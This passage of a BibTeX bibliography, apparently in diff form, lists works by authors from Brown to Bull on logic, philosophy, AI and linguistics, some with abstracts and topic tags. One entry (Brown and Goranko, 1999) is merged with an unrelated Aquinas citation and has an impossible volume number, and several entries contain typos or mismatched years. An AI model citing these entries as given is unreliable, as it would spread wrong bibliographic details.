Aggregation}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {2}, + pages = {273--283}, + topic = {lottery-paradox;} + } + +@article{ brown_b-scotch:1999a, + author = {Bryson Brown and Peter Scotch}, + title = {Logic and Aggregation}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {3}, + pages = {265--287}, + topic = {paraconsistency;} + } + +@article{ brown_b:2000a, + author = {Bryson Brown}, + title = {Yes, {V}irginia, There Really Are Paraconsistent + Logics}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {489--500}, + topic = {paraconsistency;philosophy-of-logic;} + } + +@incollection{ brown_c:1986a, + author = {Curtis Brown}, + title = {What Is a Belief State?}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {357--378}, + address = {Minneapolis}, + topic = {belief;mental-states;} + } + +@article{ brown_cd:1965a, + author = {Charles D. Brown}, + title = {Fallacies in {R}ichard {T}aylor's `Fatalism'\,}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {13}, + pages = {340--353}, + xref = {Commentary on: taylor_r:1962a.}, + topic = {(in)determinism;} + } + +@book{ brown_dg:1968a, + author = {Donald George Brown}, + title = {Action}, + publisher = {University of Toronto Press}, + year = {1968}, + address = {Toronto}, + topic = {philosophy-of-action;} + } + +@article{ brown_fm:1977a, + author = {F. Malloy Brown}, + title = {Doing Arithmetic without Diagrams}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {2}, + pages = {175--200}, + acontentnote = {Abstract: + We describe a theorem prover for elementary number theory which + proves theorems not by representing them as diagrams as in a + semantic net, but rather by representing them in the traditional + manner as lists. This theorem prover uses no chaining rules, + forward or backward, but instead interaction between equations + is based upon the use of many truth-value preserving + transformations. These transformations are used in a manner + similar to that in which a LISP interpreter executes LISP + functions.}, + topic = {theorem-proving;} + } + +@article{ brown_fm:1978a, + author = {Frank M. Brown}, + title = {Towards the Automation of Set Theory and its Logic}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {3}, + pages = {281--316}, + topic = {set-theory;theorem-proving;computer-assisted-mathematics;} + } + +@article{ brown_fm-tarnlund:1979a, + author = {Frank Malloy Brown and Sten-{\AA}ke T{\aa}rnlund}, + title = {Inductive Reasoning on Recursive Equations}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {3}, + pages = {207--229}, + acontentnote = {Abstract: + We investigate several methods of inductive reasoning in the + domain of recursive equations, including the method of + generalization with beliefs, the method of successive + refinement, and temporal methods based on comparisons with + previously solved problems. + } , + topic = {learning-theory;inductive-reasoning;} + } + +@article{ brown_fm:1980a, + author = {Frank M. Brown}, + title = {An Investigation into the Goals of Research in Automatic + Theorem Proving as Related to Mathematical Reasoning}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {3}, + pages = {221--242}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@article{ brown_fm:1986a, + author = {Frank M. Brown}, + title = {An Experimental Logic Based on the Fundamental Deduction + Principle}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {2}, + pages = {117--263}, + acontentnote = {Abstract: + Experimental logic can be viewed as a branch of logic dealing + with the actual construction of useful deductive systems and + their application to various scientific disciplines. In this + paper we describe an experimental deductive system called the + SYMbolic EVALuator (i.e. SYMEVAL) which is based on a rather + simple, yet startling principle about deduction, namely that + deduction is fundamentally a process of replacing expressions by + logically equivalent expressions. This principle applies both to + logical and domain-dependent axioms and rules. Unlike more + well-known logical inference systems which do not satisfy this + principle, herein is described a system of logical axioms and + rules called the SYMMETRIC LOGIC which is based on this + principle. Evidence for this principle is given by proving + theorems and performing deduction in the areas of set theory, + logic programming, natural language analysis, program + verification, automatic complexity analysis, and inductive + reasoning.}, + topic = {theorem-proving;applied-logic;set-theory;} + } + +@book{ brown_fm:1987a, + editor = {Frank M. Brown}, + title = {The Frame Problem in Artificial Intelligence: Proceedings + of the 1987 Workshop}, + publisher = {Morgan Kaufmann}, + year = {1987}, + address = {Los Altos, California}, + topic = {kr;frame-problem;} + } + +@book{ brown_g-yule:1983a, + author = {Gillian Brown and George Yule}, + title = {Discourse Analysis}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge, England}, + topic = {discourse;discourse-analysis;pragmatics;} + } + +@book{ brown_g:1995a, + author = {Gillian Brown}, + title = {Speakers, Listeners, and Communication: Explorations in + Discourse Analysis}, + publisher = {Cambridge Univesity Press}, + year = {1995}, + address = {Cambridge, England}, + contentnote = {This is about the "map task".}, + xref = {Review: mcroy:1996a.}, + topic = {discourse;discourse-analysis;referring-expressions; + definite-descriptions;anaphora;pragmatics;} + } + +@article{ brown_gp:1980a, + author = {Gretchen P. Brown}, + title = {Characterizing Indirect Speech Acts}, + journal = {Computational Linguistics}, + volume = {6}, + year = {1980}, + pages = {150--166}, + topic = {pragmatics;speech-acts;indirect-speech-acts;} + } + +@article{ brown_ma:1990a, + author = {Mark A. Brown}, + title = {Action and Ability}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {1}, + pages = {95--114}, + topic = {action;ability;} + } + +@article{ brown_ma:1995a, + author = {Mark A. Brown}, + title = {Stit in Time}, + journal = {Bulletin of Symbolic Logic}, + year = {1995}, + volume = {1}, + pages = {88--89}, + note = {Abstract.}, + missinginfo = {number}, + topic = {stit;} + } + +@article{ brown_ma:1995b, + author = {Mark A. Brown}, + title = {On the Logic of Ability}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {17}, + pages = {1--26}, + number = {1}, + topic = {ability;} + } + +@article{ brown_ma:1995c, + author = {Mark A. Brown}, + title = {Action and Ability}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {19}, + number = {1}, + pages = {95--114}, + topic = {ability;} + } + +@article{ brown_ma:1996a, + author = {Mark A. Brown}, + title = {A Logic of Comparative Obligation}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {117--137}, + topic = {deontic-logic;qualitative-utility;moral-conflict;} + } + +@book{ brown_ma-carmo:1996a, + editor = {Mark A. Brown and Jos\'e Carmo}, + title = {Deontic Logic, Agency and Normative Systems: + $\Delta${EON}'96, Third International Workshop on Deontic + Logic in Computer Science, Sesimbra, Portugal, 11--13 January + 1996}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540760156 (pbk.)}, + topic = {deontic-logic;} + } + +@incollection{ brown_ma:1998a, + author = {Mark A. Brown}, + title = {Agents with Changing and Conflicting Commitments: + A Preliminary Study}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {109--128}, + address = {Amsterdam}, + topic = {deontic-logic;obligation;moral-conflict; + practical-reasoning;} + } + +@article{ brown_ma-goranko:1999a, + author = {Mark A. Brown and Valentin Goranko}, + title = {An Extended Branching-Time {O}ckhamist Temporal + Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {143--166}, + title = {St. {T}homas' Doctrine of Necessary Being}, + journal = {The Philosophical Review}, + year = {1964}, + volume = {1973}, + pages = {76--90}, + missinginfo = {number}, + topic = {Aquinas;metaphysics;} + } + +@incollection{ brown_p2-levinson:1978a, + author = {Penelope Brown and Stephen Levinson}, + title = {Universals in Language Usage: Politeness Phenomena}, + booktitle = {Questions and Politeness: Strategies in Social + Interaction}, + editor = {Esther N. Goody}, + publisher = {Cambridge University Press}, + address = {Cambridge}, + year = {1978}, + pages = {56--289}, + topic = {pragmatics;sociolinguistics;speech-acts;} + } + +@incollection{ brown_p2-levinson:1979a, + author = {Penelope Brown and Stephen Levinson}, + title = {Social Structure, Groups and Interaction}, + booktitle = {Social Markers in Speech}, + editor = {Esther N. Goody}, + publisher = {Cambridge University Press}, + address = {Cambridge}, + year = {1979}, + pages = {291--347}, + topic = {pragmatics;discourse;sociolinguistics;} + } + +@book{ brown_p2-levinson:1987a, + author = {Penelope Brown and Stephen Levinson}, + title = {Politeness: Some Universals in Language Use}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + ISBN = {0521308623}, + topic = {pragmatics;sociolinguistics;speech-acts;} + } + +@techreport{ brown_r-etal:1989a, + author = {Ralf Brown and Donna M. Gates and Kenneth Goodman and + Todd Kaufmann and Marion R. Kee and Lori Levin and Rita + McCardell and Teruko Mitamura and Ira A. Monarch and Steven + E. Morrison and Sergei Nirenburg and Eric H. {Nyberg, 3rd} and + Koichi Takeda and Margalit Zabludowski}, + title = {KBMT-89 Project Report}, + institution = {Center for Machine Translation, Carnegie Mellon University}, + year = {1989}, + address = {Pittsburgh, Pennsylvania}, + topic = {machine-translation;} + } + +@article{ brown_t:1993a, + author = {Ted Brown}, + title = {Unkind Cuts: Rethinking the Rhetoric of Academic Job + Rejection Letters}, + journal = {College {E}nglish}, + year = {1993}, + volume = {55}, + number = {7}, + pages = {770--778}, + topic = {academic-ethics;} + } + +@incollection{ brownell-carriger:1991a, + author = {Celia A. Brownell and Michael Sean Carriger}, + title = {Collaborations among Toddler Peers: Individual + Contributions to Social Contexts}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {384--397}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@incollection{ broxvall:2002a, + author = {Matthias Broxvall}, + title = {Constraint Satisfaction on Infinite Domains: Composing + Domains and Decomposing Constraints}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {509--520}, + address = {San Francisco, California}, + topic = {kr;constraint-satisfaction;} + } + +@article{ broxvall-etal:2002a, + author = {Mathias Broxvall and Peter Jonsson and Jochen Renz}, + title = {Disjunctions, Independence, Refinements}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {153--173}, + topic = {constraint-satisfaction;} + } + +@article{ bruce_bc:1972a, + author = {Bertram C. Bruce}, + title = {A Model for Temporal References and its Application in a + Question Answering Program}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {1--25}, + topic = {question-answering;temporal-reference;} + } + +@article{ bruce_bc:1975a, + author = {Bertram C. Bruce}, + title = {Case Systems for Natural Language}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {4}, + pages = {327--360}, + acontentnote = {Abstract: + In many languages (e.g. Latin, Greek, Russian, Turkish, German) + the relationship of a noun phrase to the rest of a sentence is + indicated by altered forms of the noun. The possible + relationships are called (surface) ``cases''. Because (1) it is + difficult to specify semantic-free selection rules for the + cases, and (2) related phenomena based on prepositions or word + order appear in apparently case-less languages, many have argued + that studies of cases should focus on meaning, i.e. on ``deep + cases''. + Deep cases bear a close relationship to the modifiers of a + concept. In fact, one could consider a deep case to be a + special, or distinguishing, modifier. Several criteria for + recognizing deep cases are considered here in the context of the + problem of describing an event. Unfortunately, none of the + criteria serves as a completely adequate decision procedure. A + notion based on the context-dependent ``importance'' of a + relation appears as useful as any rule for selecting deep cases. + A representative sample of proposed case systems is examined. + Issues such as surface versus deep versus conceptual levels of + cases, and the efficiency of the representations implicit in a + case system are also discussed. + } , + topic = {nl-semantics;computational-semantics;argument-structure;} + } + +@article{ bruce_bc-newman:1978a, + author = {Bertram C. Bruce and Denis Newman}, + title = {Interacting Plans}, + journal = {Cognitive Science}, + year = {1978}, + volume = {2}, + pages = {195--233}, + missinginfo = {number}, + topic = {planning;} + } + +@incollection{ bruce_bc:1986a, + author = {Bertram C. Bruce}, + title = {Generation as a Social Action}, + booktitle = {Readings in Natural Language Processing}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Barbara J. Grosz and Karen Sparck Jones and Bonnie L. Webber}, + pages = {419--422}, + address = {Los Altos, California}, + topic = {nl-generation;} + } + +@incollection{ bruce_r-etal:1996a, + author = {Rebecca Bruce and Janyce Wiebe and Ted Pedersen}, + title = {The Measure of a Model}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {101--112}, + address = {Somerset, New Jersey}, + topic = {part-of-speech-tagging;software-evaluation;} + } + +@article{ bruce_r:1998a, + author = {Rebecca Bruce}, + title = {Review of {\it Corpus-Based Methods in Language + and Speech Processing}, edited by {S}teve {Y}oung and {G}errit + {B}loothooft}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {317--318}, + ISBN = {0-7923-4463-4}, + topic = {corpus-linguistics;} + } + +@article{ bruce_r-wiebe:1999a, + author = {Rebecca F. Bruce and Jance M. Wiebe}, + title = {Decomposible Modeling in Natural Language + Processing}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {195--207}, + topic = {lexical-disambiguation;statistical-nlp;} + } + +@article{ brueckner:1994a, + author = {Anthony Brueckner}, + title = {Knowledge of Content and Knowledge of the World}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {2}, + pages = {327--343}, + topic = {content-externalism;twin-earth;} + } + +@unpublished{ bruffaerts-henin:1990a, + author = {A. Bruffaerts and R. Henin}, + title = {Non-Monotonic Multiple Inheritance of Attributes: + A Logical Reconstruction}, + year = {1990}, + note = {Unpublished manuscript, Philips Research Laboratory Belgium.}, + topic = {inheritance-theory;} + } + +@book{ brugman:1988a, + author = {Claudia M. Brugman}, + title = {The Story of `Over': Polysemy, Semantics, and the + Structure of the Lexicon}, + publisher = {Garland Publishing Company}, + year = {1988}, + address = {New York}, + ISBN = {0824051777}, + topic = {lexical-semantics;nl-polysemy;spatial-semantics;} + } + +@incollection{ brugnara:1998a, + author = {Fabio Brugnara and Renato de Mori}, + title = {Acoustic Modeling}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {141--170}, + address = {New York}, + topic = {speech-recognition;acoustic-modeling;hidden-Markov-models;} + } + +@incollection{ brugnara-demori:1998b, + author = {Fabio Brugnara and Renato de Mori}, + title = {Training of Acoustic Models}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {171--197}, + address = {New York}, + topic = {speech-recognition;acoustic-modeling;hidden-Markov-models;} + } + +@inproceedings{ brun:1998a, + author = {Caroline Brun}, + title = {Terminology Finite-state Preprocessing for Computational + {LFG}}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {196--201}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {LFG;compound-nouns;} +} + +@article{ bruner_js:1975a, + author = {J.S. Bruner}, + title = {The Ontogenesis of Speech Acts}, + journal = {Journal of Child Language}, + year = {1975}, + volume = {2}, + pages = {1--19}, + topic = {speech-acts;psycholinguistics;} + } + +@inproceedings{ bruninghaus-ashley:1991a, + author = {Stefanie Bruninghaus and Kevin D. Ashley}, + year = {1999}, + title = {Toward Adding Knowledge to Learning Algorithms for + Indexing Legal Cases}, + booktitle = {Seventh International Conference + on Artificial Intelligence and Law}, + publisher = {Association of Computing Machinery, New York}, + missinginfo = {pages}, + topic = {legal-AI;case-based-reasoning;machine-learning;} + } + +@inproceedings{ bruninghaus-ashley:1999a, + author = {Stefanie Bruninghaus and Kevin D. Ashley}, + year = {1999}, + title = {Bootstrapping Case Base Development with Annotated Case + Summaries}, + booktitle = {Third International Conference on Case-Based + Reasoning}, + address = {Berlin}, + publisher = {Springer-Verlag}, + topic = {case-based-reasoning;} + } + +@article{ brunner_lj:1979a, + author = {Lawrence J. Brunner}, + title = {Smiles Can Be Back Channels}, + journal = {Journal of Personality and Social Psychology}, + volume = {37}, + number = {5}, + pages = {728--734}, + year = {1979}, + topic = {gestures;discourse;pragmatics;} + } + +@book{ brunsson:1985a, + author = {Nils Brunsson}, + title = {The Irrational Organization: Irrationality as a Basis for + Organizational Action and Change}, + publisher = {John Wiley and Sons}, + year = {1985}, + address = {New York}, + ISBN = {0471907952}, + topic = {irrationality;corporate-management;sociology;} + } + +@book{ brunvand:1984a, + author = {Jan Harold Brunvand}, + title = {The Choking {D}oberman and Other ``New'' Urban Legends}, + publisher = {W. W. Norton}, + address = {New York}, + year = {1984}, + topic = {urban-legends;} + } + +@article{ brusoni-etal:1995a, + author = {Vittorio Brusoni and Luca Console and Paolo Terenziani}, + title = {On the Computational Complexity of Querying Bounds on + Differences Constraints}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {367--379}, + acontentnote = {Abstract: + Given a consistent knowledge base formed by a set of + constraints, efficient query answering (e.g., checking whether a + set of constraints is consistent with the knowledge base or + necessarily true in it) is practically very important. In the + paper we consider bounds on differences (which are an important + class of constraints based on linear inequalities) and we + analyze the computational complexity of query answering. More + specifically, we consider various common types of queries and we + prove that if the minimal network produced by constraint + satisfaction algorithms (and characterizing the solutions to a + set of constraints) is maintained, then the complexity of + answering a query depends only on the dimension of the query and + not on the dimension of the knowledge base (which is usually + much larger than the query). We also analyse how the approach + can be used to deal efficiently with a class of updates to the + knowledge base. Some applications of the results are sketched + in the conclusion.}, + topic = {constraint-satisfaction;reasoning-about-consistency; + complexity-in-AI;} + } + +@article{ brusoni-etal:1998a, + author = {Vittorio Brusoni and Luca Console and Paolo Terenziani + and Daniele Theseider Dupr\'e}, + title = {A Spectrum of Definitions for Temporal Model-Based + Diagnosis}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {1}, + pages = {39--79}, + topic = {diagnosis;temporal-reasoning;} + } + +@article{ bruthiaux:1993a, + author = {Paul Bruthiaux}, + title = {Knowing When to Stop - Investigating the Nature of + Punctuation}, + journal = {Language and Communication}, + year = {1993}, + volume = {13}, + number = {1}, + pages = {27--43}, + topic = {punctuation;} +} + +@article{ bruthiaux:1995a, + author = {Paul Bruthiaux}, + title = {The Rise and Fall of the Semicolon: {E}nglish + Punctuation Theory and {E}nglish Teaching Practice}, + journal = {Applied Linguistics}, + year = {1995}, + volume = {16}, + number = {1}, + topic = {punctuation;} +} + +@book{ bruynooghe:1994a, + editor = {Maurice Bruynooghe}, + title = {Logic Programming: Proceedings of the 1994 International + Symposium}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + ISBN = {0262521911}, + topic = {logic-programming;} + } + +@inproceedings{ bry-torge:1996a, + author = {F. Bry and S. Torge}, + title = {Minimal Model Generation with Positive Unit + Hyper-Resolution Tableaux}, + booktitle = {Proceedings of {TABLEUX}'96}, + year = {1996}, + pages = {143--159}, + missinginfo = {A's 1st names, publisher, org, address, editor}, + topic = {model-construction;minimal-models;} + } + +@article{ bryant:1977a, + author = {John Bryant}, + title = {The Logic of Relative Modality and the Paradoxes of + Deontic Logic}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1977}, + volume = {21}, + number = {1}, + pages = {78--88}, + topic = {deontic-logic;} + } + +@book{ bub:1974a, + author = {Jeffery Bub}, + title = {The Interpretation of Quantum Mechanics}, + publisher = {D. Reidel Publishing Co.}, + year = {1974}, + address = {Dordrecht}, + topic = {foundations-of-quantum-mechanics;philosophy-of-science;} + } + +@article{ bub:1977a, + author = {Jeffrey Bub}, + title = {Von {N}eumann's Projection Postulate as a Probability + Conditionalization Rule in Quantum Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {381--390}, + topic = {quantum-logic;} + } + +@book{ bub:1997a, + author = {Jeffrey Bub}, + title = {Interpreting the Quantum World}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + xref = {Review: dickson:1999a.}, + topic = {philosophy-of-quantum-mechanics;} + } + +@book{ bub:1999a, + author = {Jeffrey Bub}, + title = {Interpreting the Quantum World}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052165386-X}, + topic = {philosophy-of-physics;foundations-of-quantum-mechanics;} + } + +@incollection{ bubenko:1987a, + author = {Janis A. {Bubenko, Jr.}}, + title = {Information Analysis and Conceptual Modeling}, + booktitle = {Databases}, + publisher = {Academic Press}, + year = {1987}, + editor = {J. Paradaens}, + pages = {141--192}, + address = {New York}, + topic = {databases;} + } + +@article{ bucalo:1994a, + author = {Anna Bucalo}, + title = {Modalities in Linear Logic Weaker Than Exponential `Of + Course'': Algebraic and Relational Semantics}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {3}, + number = {3}, + pages = {211--232}, + topic = {linear-logic;modal-logic;} + } + +@incollection{ buccafurri-etal:1998a, + author = {Francesco Buccafurri and Nicola Leone and Pasquale Rullo}, + title = {Disjunctive Ordered Logic: Semantics and Expressiveness}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {416--429}, + address = {San Francisco, California}, + topic = {kr;disjunctive-logic-programming;inheritance;kr-course;} + } + +@inproceedings{ buccafurri-etal:1999a, + author = {Francesco Buccafurri and Thomas Eiter and Georg Gottlob + and Nicola Leone}, + title = {Applying Abduction Techniques to Verification}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {abduction;diagnosis;program-verification;} + } + +@article{ buccafurri-etal:1999b, + author = {Francesco Buccafurri and Thomas Eiter and Georg Gottlob + and Nicola Leone}, + title = {Enhancing Model Checking in Verification by {AI} + Techniques}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + number = {1--2}, + pages = {57--104}, + topic = {model-checking;program-verification;} + } + +@article{ buchanan:2001a, + author = {Bruce G. Buchanan}, + title = {Creativity at the Metalevel}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {13--28}, + topic = {creativity;} + } + +@article{ buchanan_bg-feigenbaum:1978a1, + author = {Bruce G. Buchanan and Edward A. Feigenbaum}, + title = {{\sc Dendral} and {\sc Meta-Dendral}: Their Applications + Dimension}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {5--24}, + xref = {Republication: buchanan_bg-feigenbaum:1978a2.}, + topic = {expert-systems;knowledge-engineering;} + } + +@incollection{ buchanan_bg-feigenbaum:1978a2, + author = {Bruce G. Buchanan and Edward Feigenbaum}, + title = {{\sc Dendral} and {\sc Meta-Dendral}: Their Applications + Dimension}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {313--322}, + address = {Los Altos, California}, + xref = {Journal Publication: buchanan_bg-feigenbaum:1978a1.}, + topic = {expert-systems;knowledge-engineering;} + } + +@book{ buchanan_bg-shortliffe:1984a, + author = {Bruce Buchanan and Edward H. Shortliffe}, + title = {Rule-Based Expert Systems: The {MYCIN} Experiments + of the {S}tanford Heuristic Programming Project}, + publisher = {Addison Wesley}, + year = {1984}, + address = {Reading, Massachusetts}, + topic = {expert-systems;knowledge-engineering;} + } + +@article{ buchanan_bg-etal:1990a, + author = {Bruce G. Buchanan and Daniel Bobrow and Randall Davis + and John McDermott and Edward H. Shortliffe}, + title = {Knowledge-Based Systems}, + journal = {Annual Review of Computer Science}, + year = {1990}, + volume = {4}, + pages = {395--416}, + missinginfo = {number}, + topic = {AI-survey;knowledge-engineering;} + } + +@article{ buchanan_bg:1994a, + author = {Bruce G. Buchanan}, + title = {The Role of Experimentation in Artificial + Intelligence}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {153--165}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {experimental-AI;foundations-of-AI;} + } + +@book{ buchanan_jg-tullock:1965a, + author = {James M. Buchanan and Gordon Tullock}, + title = {The Calculus of Consent: Logical Foundations of + Constitutional Democracy}, + publisher = {University of Michigan Press}, + year = {1965}, + address = {Ann Arbor}, + ISBN = {0792381106}, + topic = {voting-theory;} + } + +@incollection{ bucher-etal:1999a, + author = {Alex B\"ucher and John G. Hughes and David A. Bell}, + title = {Contextual Data and Domain Knowledge Discovery + Systems}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {447--451}, + address = {Berlin}, + topic = {context;knowledge-acquisition;} + } + +@article{ buchheit-etal:1998a, + author = {M. Buchheit and Francesco M. Donini and Werner Nutt and Andrea + Schaerf}, + title = {A Refined Architecture for Terminological Systems: + Terminology $=$ Schema $+$ Views}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {2}, + pages = {209--260}, + missinginfo = {A's 1st name}, + topic = {kr;taxonomic-logics;kr-course;subsumption;} + } + +@incollection{ buchwald-etal:2002a, + author = {Adam Buchwald and Oren Schwartz and Amanda Seidl and + Paul Smolensky}, + title = {Recoverability Optimality Theory: Discourse + Anaphora in a Bi-Directional Framework}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {37--44}, + address = {Edinburgh}, + topic = {referring-expressions;optimality-theory;} + } + +@incollection{ buck:1962a, + author = {R.C. Buck}, + title = {Non-Other Minds}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {187--210}, + address = {New York}, + topic = {other-minds;other-modeling;} + } + +@article{ buck_r:1991a, + author = {Ross Buck}, + title = {Social Factors in Facial Display and Communication: A + Reply to {Chovil} and Others}, + journal = {Journal of Nonverbal Behavior}, + volume = {15}, + number = {3}, + pages = {155--161}, + year = {1991}, + xref = {Reply to chovil:1991a. Reply: chovil-fridlund:1991a.}, + topic = {gestures;discourse;} + } + +@article{ buck_rc:1965a, + author = {Roger C. Buck}, + title = {Clark on Natural Necessity}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {21}, + pages = {625--629}, + xref = {Commentary on: clark_r1:1965a.}, + topic = {ceteris-paribus-generalizations;natural-laws;causality; + nonmonotonic-reasoning;} + } + +@book{ buckles-petry:1992a, + author = {Bill Buckles and Frederic E. Petry}, + title = {Genetic Algorithms}, + publisher = {{IEEE} Computer Science Press}, + year = {1992}, + address = {Los Alimatos, California}, + topic = {genetic-algorithms;} + } + +@article{ bugajski:1978a, + author = {S{\l}awomir Bugajski}, + title = {Probability Inplication in the Logics of Classical and + Quantum Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {95--106}, + topic = {probability;quantum-logic;} + } + +@article{ bugajski:1983a, + author = {S{\l}awomir Bugajski}, + title = {Languages of Similarity}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {1}, + pages = {1--118}, + contentnote = {Actually, this is extracting a general logical account + from ql. But it is hard to classify the topic.}, + topic = {quantum-logic;} + } + +@article{ bugard-etal:1999a, + author = {Wolfram Bugard and Armin B. Cremers and Dieter Fox and + Dirk H\"ahnel and Gerhard Lakemeyer and Dirk Schultz and + Walter Steiner and Sebastian Thrun}, + title = {Experiences with an Interactive Museum Tour Robot}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {3--55}, + topic = {robotics;robot-navigation;GoLog;robot-human-interaction;} + } + +@inproceedings{ bui-etal:1996a, + author = {H.H. Bui and D. Kieronska and S. Venkatesh}, + title = {Learning Other Agents' Preferences in Multiagent + Negotiation}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {114--119}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {distributed-processing;preference-modeling;} + } + +@incollection{ buitelaar:1996a, + author = {Paul Buitelaar}, + title = {Underspecified First Order Logics}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {semantic-underspecification;} + } + +@incollection{ bull-segerberg:1984a, + author = {Robert A. Bull and Krister Segerberg}, + title = {Basic Modal Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {1--88}, + address = {Dordrecht}, + topic = {modal-logic;} + } + 